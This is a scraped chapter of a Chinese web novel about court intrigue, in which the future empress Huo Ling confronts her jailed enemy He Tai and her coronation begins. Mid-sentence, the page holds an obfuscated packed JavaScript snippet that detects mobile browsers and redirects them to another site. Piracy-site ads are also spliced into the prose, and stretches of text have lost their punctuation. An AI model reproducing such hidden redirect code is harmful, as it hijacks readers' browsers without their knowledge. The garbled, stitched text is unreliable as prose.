第 54 章 册后大典。
作品:《权力是女人最好的医美》 在霍世鸣为了那些拜帖而沾沾自喜时,霍翎正站在内务府送来的那批聘礼面前。
连同上一批聘礼在内,景元帝送来的聘礼已经不能单纯用“丰厚”来形容了。
方氏带着几个小丫鬟,边说笑着边将这些东西登记入库。
霍翎静静立在一旁,突然轻笑了一下。
虽然是在以退为进,但其实,在册后大典这件事情上,她选择的做法还是退让。
她对无墨道:“叫上无锋,随我去一个地方。”
无墨看了看天色:“这会儿去?”
“无妨。”
霍翎道:“京师没有宵禁,若是回来得晚了,我就带你们去樊楼吃东西。”
京兆府里,邱鸿振正在与新来的师爷说话。
他的心腹幕僚当然还是与他认识许多年的张师爷,但无论是邱鸿振还是张师爷,都不熟悉京中情况。
所以在张师爷的建议下,邱鸿振又多请了一位师爷,助他尽快上手京兆府的公务。
正说得起兴,张师爷急匆匆从外面进来,附耳对邱鸿振说了句话,邱鸿振神色一肃,边起身边整理衣襟:“快随我去迎娘娘。”
霍翎这趟出行十分低调,除了无墨和无锋外,她没有带任何人。
等见到邱鸿振,霍翎走下马车,道出来意:“带我去见何泰。”
邱鸿振恭敬道:“娘娘请随我来。”
邱鸿振亲自在前面领路,领着霍翎三人往牢房方向走去。他见霍翎行踪低调,带的人也不多,也特意挑了人少的路走,尽可能避着点人。
牢房年久失修,中午那会儿外面刚下过一场雨,天气转凉,冰冷湿润的雨水从砖缝间渗透进来,让整座牢房也变得潮湿阴沉。
邱鸿振领着几人一路往里走,最终停在一间牢房前,将灯笼挂到墙壁上,行礼退了出去,免得听到什么不该听的话。
牢房里的人原本正蜷缩在地上,被灯光惊扰,下意识抬手挡在眼前。
待他渐渐适应了光亮,才眯着眼眸盯着来人。
“霍翎!?”
何泰的声音里饱含怒火与恨意。被关在牢房的许多个日夜里,他都是这么念着仇人的名字。
但看着霍翎这一行人,何泰打了个激灵,心中涌现起一个可
怕的念头:“你们……你们想绕开守卫,对我下毒手?”
霍翎认真打量着何泰。
方才在来京兆府的路上,无墨曾问她,为什么突然想要去见何泰。
那时她的回答是,她想要记住何泰的模样。
潮湿昏暗的牢房,腥臭古怪的味道,角落里摆着一碗有些馊了的饭食,地上铺着的稻草也不知道多久没有换过了。
何泰的罪还没彻底定下来,所以无论是禁卫军的人还是邱鸿振,都没有给他用刑,但是被关在这样的地方长达两个月,他早已成为了惊弓之鸟。
“如果我真想对你下毒手,你早就死了,何必等到今日。”
何泰一愣,最初的惊惶退去后,他稍稍恢复了一些理智,从地上坐起,手指胡乱整理着自己干枯打结的头发,语气讥讽。
“皇后娘娘身份尊贵,屈尊来这种肮脏地方,不为害我,想必是来看我的笑话。”
霍翎道:“我确实是来看你的,但不是为了欣赏你的丑态。”
她来见何泰,是为了深深记住失去权柄的痛苦。
何泰是她在往上爬的过程中,遇到的第一个不死不休的敌人。
他出身世家,是先皇后的堂兄,担任行唐关主将,麾下掌管着燕西十万兵马。
在曾经的她看来,何泰是如此高不可攀。他所占据的地位,是整个霍家都无法达到的地位。
可是,这样不可一世的敌人,终究是倒下了。
短短一年时间,她爬到自己曾经无法想象的位置,他却失去权柄,沦为阶下囚,生死在她一念之间。
旦夕祸福,人生的际遇是如此变幻莫测。
何泰眼珠子动了一下,扯动嘴角,试图激怒霍翎:“看来皇后娘娘的册后大典,不如想象中那般顺利。”
面对一个将死之人,霍翎表现得十分平静。如果她真因为何泰的挑衅而动怒,反倒如了何泰所愿。
“你在牢房里,消息应该不够及时。”
“朝廷虽有异议,但我的册后大典,依旧保持了原样。”
何泰愕然,抿了抿干裂发白的唇角,涩声道:“你做了什么?”
霍翎居高临下,隔着牢房俯视何泰。
她很讨厌退让的滋味。
而何泰,让
她体验到了两次这种滋味。
第一次,是端王要求她退让,要求她放过何泰。
第二次,却是她主动选择了退让。
“我与何家、承恩公府的仇怨,皆因你而起。”
“在你明正典刑以后,我与他们,原本是可以相安无事的。”
但何家和承恩公府,先是上书阻挠她封后,在发现阻挠无果后,又用册后大典的花销来拿捏她。
一味与她过不去,这哪里是息事宁人的做法?
霍翎的话语十分平静,何泰心底却蹿升起一股深深的寒意。
他突然就想起了自己当初对霍翎的评价——
京师权贵行事,从来不会不留余地,如端王那样的天潢贵胄,在做事时反倒很少赶尽杀绝。
即使是景元帝和先帝,他们在位期间,有除过爵,有贬过官,有抄过家,却极少动用雷霆手段诛灭一族。
可是,霍翎不是。
像她这种从底层骤然爬升高位的人,更喜欢斩草除根不留后患。
她为了解决威胁,再无后顾之忧,是真的会赶尽杀绝。
“……你、你想要对何家和承恩公府做什么?”
霍翎道:“现在是何家和承恩公府在对我苦苦相逼,我又能做什么呢?”
至于以后的事情……
以后的事情,何泰也看不到了。
顿了顿,霍翎放轻语气:“如果你真的担心我打击报复何家和承恩公府,不如来与我做一场交易吧。”
“何泰,当初你在燕西,是用了什么办法来说服端王不杀你?”
“我对你手里的东西很感兴趣,把它交给我,我与何家、承恩公府还有和解的可能。”
何泰冷笑:“原来你想要那样东西。”
原本霍翎只是在试探,但何泰的反应,让霍翎彻底肯定了自己的猜想。
何泰手里果然有一样可以威胁到端王的东西。
“他们眼睁睁看着你去死,你居然还愿意为他们保守秘密?这又是何苦呢。”
何泰破口大骂:“贱人,别痴心妄想了,我是绝对不可能便宜了你的。”
霍翎神情冰冷,语调却不变:“看来他们对你许下了某种承诺,让你心甘情愿为他们守口如瓶。”
何泰正要再说些什么,话到嘴边,突然意识到不对,呵笑两声:“你想套我的话?”
见何泰反应了过来,霍翎有些遗憾。
不过何泰闭口不语,不妨碍霍翎继续说话。
她边推测边观察何泰的反应。
“能让端王改变主意的,无非就是那么几个人。端王妃、大公子、柳国公府……”
提到“柳国公府”时,何泰的表情明显扭曲了一瞬。
“端王妃身处内宅,大公子年纪尚幼,他们很难与你扯上关系,只有柳国公府的人最容易与你有往来。”
“你身处燕西,掌握十万兵马,掌管着与羌戎交易的榷场……”
“柳国公是兵部尚书。而且我听说柳国公府私底下一直在做买卖,好几家大商会背后都有柳国公府的势力在撑腰……”
“你们交易了兵马粮草器械?”
“……看来没有,你们还不敢如此大逆不道。”
霍翎肯定道:“那就是和榷场交易有关了。”
何泰死死咬着牙关,眼里的怨毒和恨意几乎要流淌出来。
“霍翎,别以为你能嚣张到最后。坐上皇后之位,真以为就可以高枕无忧了吗。”
“我是活不到那个时候了,但我会在九泉之下,等着看你的下场。”
霍翎当然知道,坐上皇后之位,并不意味着高枕无忧。她每往前走一步,都是如履薄冰。
但是,没有关系。
因为她知道,当何泰开始诅咒她下地狱时,就说明何泰在面对她时已经无能为力。他根本撼动不了她,只能希冀于那虚无缥缈的、他根本看不到的未来。
这就是她往上爬的意义所在。
在她还不清楚权力为何物时,她就已经在爹爹的影响下,本能地追逐起权力。
直到如今,霍翎终于对权力有了一个清晰的认知。
权力,就是生杀予夺。
最后深深凝望了一眼何泰,霍翎转身,离开牢房,将何泰的咒骂声抛之脑后。
何泰骂着骂着,突然趴在地上嚎啕大哭。哭声里,有痛恨,有惶恐,有后悔。
他无数次后悔对霍世鸣动了手,无数次午夜梦回间,希望能回到当初。
那痛苦的哭声钻入耳朵,霍翎没有
再回头去看。
一个早已被她碾压的敌人从这一刻起已经不值得她再浪费时间和心力。
“这里我不会再来了。”
“等什么时候何泰行刑了再来禀报我一声就可以了。”
霍翎如此交代邱鸿振。
邱鸿振恭敬应是将霍翎送上马车。
天色已经暗下霍翎如自己所言带无墨和无锋去樊楼吃饭听曲。
楼下传来婉转悦耳的曲音空气中浮动着甜腻的熏香霍翎倚着栏杆吃完最后一块糕点
说</a>全网首发无弹窗免费阅读qiexs?(请来企鹅小
说
看最新章节
完整章节)问无墨和无锋以后有什么打算。
无墨奇道:“小姐怎么突然问这个。”
霍翎道:“虽然我大概能猜到你们的决定但我们自小一道长大我还是想亲口询问一番从你们口中听到确切的答案而不是直接为你们做决定。”
无墨立刻表态:“小姐去哪儿我就跟着去哪儿。”
霍翎提醒她:“皇宫不比其它地方松快那里规矩多你要是随我进了宫里可能没有在外面更轻松自在。”
无墨微抬下巴神气道:“小姐你可别小瞧人。这些天我可是一直在跟云谷姐姐、尚岚姐姐学习宫里的规矩。她们都说我学得很好。”
云谷和尚岚就是之前景元帝赐给霍翎的会拳脚功夫的宫女。
自从这两人来到霍翎身边后无墨就在努力和她们处好关系。
她们知道无墨是霍翎心腹也有意与无墨交好。
当无墨向两人讨教时两人几乎是倾囊相授。
想了想无墨又补充道:“反正我是不打算嫁人的小姐去宫里享福可别想撇开我。”
宫里规矩森严如果她不陪着小姐进宫那小姐该多么寂寞。
陛下不是独属于小姐一个人的。
就算陛下愿意一直专宠小姐他也终究是天子。
她这样笨拙的小丫鬟在打理宫务和人情往来上比不过云谷姐姐和尚岚姐姐但是她可以永远坚定地站在小姐身后。
霍翎抿唇一笑:“好那就先随我进宫享福吧。”
至于嫁不嫁人这件事情等过上几年她再问问无墨的想法。
如果无墨改变主意了她会送无墨风光大嫁;如果无墨依旧坚持她的身侧永
远都有无墨的位置。
彻底确定了无墨的心意,霍翎又扭头去看无锋。
她给了无锋两个选择。
“你可以随我爹回燕西,他肯定不会薄待了你。”
以霍世鸣的品阶和职务,已经可以组建亲卫队伍了,无锋本就是在霍家担任护卫队长的,到时直接进入霍世鸣的亲卫队伍里,应该能当上亲卫队长。
“当然,你要是愿意留在京师,那我会向陛下求个恩典,让你进入禁卫军里任职。”
无锋没有迟疑:“从我随着小姐来京师起,就没想过再回燕西了。”
“陛下之前派了一支禁卫军来保护小姐,我与他们都聊过,知道禁卫军里面是什么情况。”
“我想进禁卫军。”
霍翎再次露出一个真切的笑容:“好,那我们就这么说定了。”
***
忙忙碌碌中,京师郊外的枫叶染上火红之色。
在一场接着一场的秋雨中,时间悄然划到九月。
入了九月,封后大典就不远了。
内务府送来了赶制出来的皇后大礼服,还派了两个嬷嬷来帮霍翎试衣服。
宁信长公主受景元帝所托,也特意过来了一趟。
这件耗费了两个月时间,由上百名绣娘绣制而成的礼服,极尽繁复华丽,用金丝银线绣出龙凤同合的样式,间或以祥云作为点缀,既富贵又喜庆。
霍翎上身试了一遍,说了几个需要调整的地方。
两位嬷嬷不敢在霍翎面前托大,都一一记下。
“公主觉得,还有什么要注意的细节吗?”霍翎问一旁的宁信长公主。
“皇嫂以后直接叫我宁信吧。”
宁信长公主眼光老辣,又帮着提出了一些修改的想法。
等内务府终于按照两人的意见,将礼服改出来后,就到了霍翎的添妆礼。
霍翎的添妆礼十分热闹。
如宁信长公主、许时渡、邱鸿振和靖国公府这样交好的人家,自然都送来了礼物。
许时渡和靖国公夫人还亲自到场了。
让人诧异的是,端王妃和柳国公世子夫人那边
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063689|123828||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
竟然也送来了礼物。
霍翎看礼物不算太贵重,也就收下了。
不过要说给她送礼
送得最多的,还得是以前没有过什么交情的肃亲王府。
光是那一棵红色玛瑙树,就价值千金。
但红色玛瑙树这样的珍品,在肃亲王府送来的礼物里,都算不上是最奢华的。
肃亲王府为何会突然向她示好?
霍翎退到一边,朝无墨招了招手,让无墨去打听一件事。
少许,无墨回来,小声禀告霍翎:“肃亲王府来的只是一个管事,送完礼后就离开了。”
霍翎颔首,左右张望了一圈,将许时渡拉出了人群,向她打听起肃亲王府的情况。
“肃亲王府?”
许时渡不明所以,但还是为霍翎介绍起来。
肃亲王是先帝的亲弟弟,也是留守在京师的宗室里辈分最高的一个人。不过这两年肃亲王的身体不大舒坦,已经极少在外面走动。
肃亲王府的人要么是留在家中侍疾,要么就在宗正寺之类不太重要的衙门里任清闲职务。
说着说着,许时渡忽然回想起一件比较值得注意的地方。
“说起来,当初朝中挑选宗室子过继时,也有一些朝臣提议从肃亲王府选孩子。他家的孩子,长得都壮实,而且他家老三那会儿刚好三岁。”
三岁,恰好处于一个没那么容易夭折,又还没太记事的年纪。
霍翎心中微动,隐约猜到了肃亲王府的打算。
不过周围人来人往,霍翎暂时将这件事情放到一边,岔开了话题,让许时渡的注意力转移到其它地方去。
添妆礼第二日,霍翎的嫁妆要全部抬进凤仪宫。
这一回霍世鸣确实是砸了血本,将霍翎的嫁妆置办得体体面面,再加上众人送的那些添妆礼,霍翎的嫁妆看上去十分丰厚。
送完嫁妆后,这场浩大繁复的立后大典也如期而至。
立后大典定在九月底,恰是秋高气爽之时。
吉日前一天,内务府派来女官,住进郡君府。
天还没亮,女官已在霍翎院外候着。等屋内燃起明亮的烛火,才进屋为霍翎上妆换衣。
霍翎眉眼秾丽,上妆反倒是最简单的一步。
刚装扮好,守在外面的无墨进来禀报:“正副使到了。”
天子是不会出宫亲迎皇后的,所以在天子大婚时,会
点一位正使,一位副使,由正副使和宫中内侍带着浩浩荡荡的仪仗队伍,前去奉迎皇后。
待到临近吉时,霍世鸣、方氏和霍泽也一起过来了。
霍泽和方氏还好,霍世鸣昨晚激动得一宿没合眼,要不是郡君府没有祖宗牌位,他都恨不得抱着他爹霍英绍的牌位念叨念叨。
此时天光还未大亮,院子里挂满照明用的宫灯,看着盛装立在庭阶前的长女,霍世鸣心中升腾起无数感慨。
依稀间,她分明还是个孩子模样,而他也窝在小小的永安县里有志难舒。
好像就在不经意间,她已经出落得亭亭玉立。
在燕西时结识端王,再到进入京师,与陛下结缘,成为皇后……他好像从来没有问过她,当她做出这些决定时,心里都在想些什么。
“爹爹。
霍翎的声音唤回了霍世鸣的思绪:“怎么这么看着我。
霍世鸣拍了拍霍翎的手,语气唏嘘:“我只是想起了你小时候。
“你自小就是个好胜的性子,学骑马那会儿,人还没小马高,就非得和建白一较高下。我怕你从马背上摔下来,就将你抱上了我的马背。
“我的马背多高啊,一下子就把建白给比了下去,你高兴得不行,一直催我带你绕着马场跑几圈。
“你还记得我抱你下马的时候,你对我说了什么话吗?
霍翎道:“我已经不记得这件事情了。
不过,她大概能理解自己那时的心情。
那时的她,高兴的不是将方建白比了下去,而是高兴于父亲难得的亲近。
霍世鸣笑了下,他倒是对那句话印象很深刻:“你对我说,你以后一定要嫁给一个和父亲一样的大英雄。
“不过孩子的想法总是变来变去的。
“你十二岁那年,我带你去知州大人的府上做客,你看完大燕舆图后,一个劲问我燕云十六州在哪里,它为什么会被弄丢,我为什么一定要光复燕云。
“我只好跟你说了霍家先祖的事迹。但你听完以后,说的第一句话竟然是,你以后一定要成为一个和父亲一样的大英雄。
霍翎安静听着霍世鸣追忆往昔,笑道:“原来父亲都记得。
原来她对父亲的孺慕之情
他是看在眼里的。
没有给父女两更多谈心的时间吉时已到。
正使文盛安、副使陆杭携诸内侍在院外奉迎皇后请皇后乘辇。
霍翎收敛心绪手持一把红色团扇被霍泽背着在正副使的奉迎下坐进凤辇。
钟鼓齐鸣礼乐奏响浩浩荡荡的奉迎仪驾穿过巷子穿过最繁华热闹的朱雀街
百官早已再次恭候多时还有不少外邦使臣前来观礼。
凤辇抵达应天门的时间是早就算准了的辇车才刚停下正使文盛安取出他亲自拟写的册后圣旨再次大声念诵。
待文盛安念到最后一句“……德才兼备度娴礼法允合母仪于天下”轿帘被人掀开同样是一身红色礼服的景元帝站在轿外。
霍翎还是第一次看景元帝穿这么鲜艳的颜色眼眸笑弯漾开层层笑意。
景元帝也在打量霍翎。
明艳炽盛浓墨重彩重工繁琐的大婚礼服与她极为相衬。
景元帝笑着将手里的绣球递给霍翎。
霍翎接过下轿。
百官俯身恭迎。
礼官出列朗诵祭告天地祖宗的祭文。
在这漫长华丽的祭文声中景元帝和霍翎并肩走上台阶。
身上的礼服和凤冠都十分沉重但霍翎迈出的每一步都很稳。
礼服衣摆用金丝银线绣着山河日月长长拖曳在她身后立在台阶之上的文武百官只能看着衣摆一点点拂过他们的视野而后远去。
登临祭坛最高处的台阶一共有九十九级越往上走霍翎路过的故人就越多。
靖国公世子郑新觉清河崔氏崔原邱鸿振靖国公……
柳国公世子柳国公……
还有最前排的端王。
她一步步从他们身边经过然后不断向上走终于她迈过最后一级台阶与景元帝一起登临祭坛最高处。
回荡在天地间的祭文声停止了。
礼官将祭文书稿投入火炉熊熊烈火中霍翎缓缓转身与景元帝面对面站着。
李满端来一个托盘里面放着皇后宝册和宝印。
宝册是册立皇后的文书宝印则是皇后的凤玺由纯金打造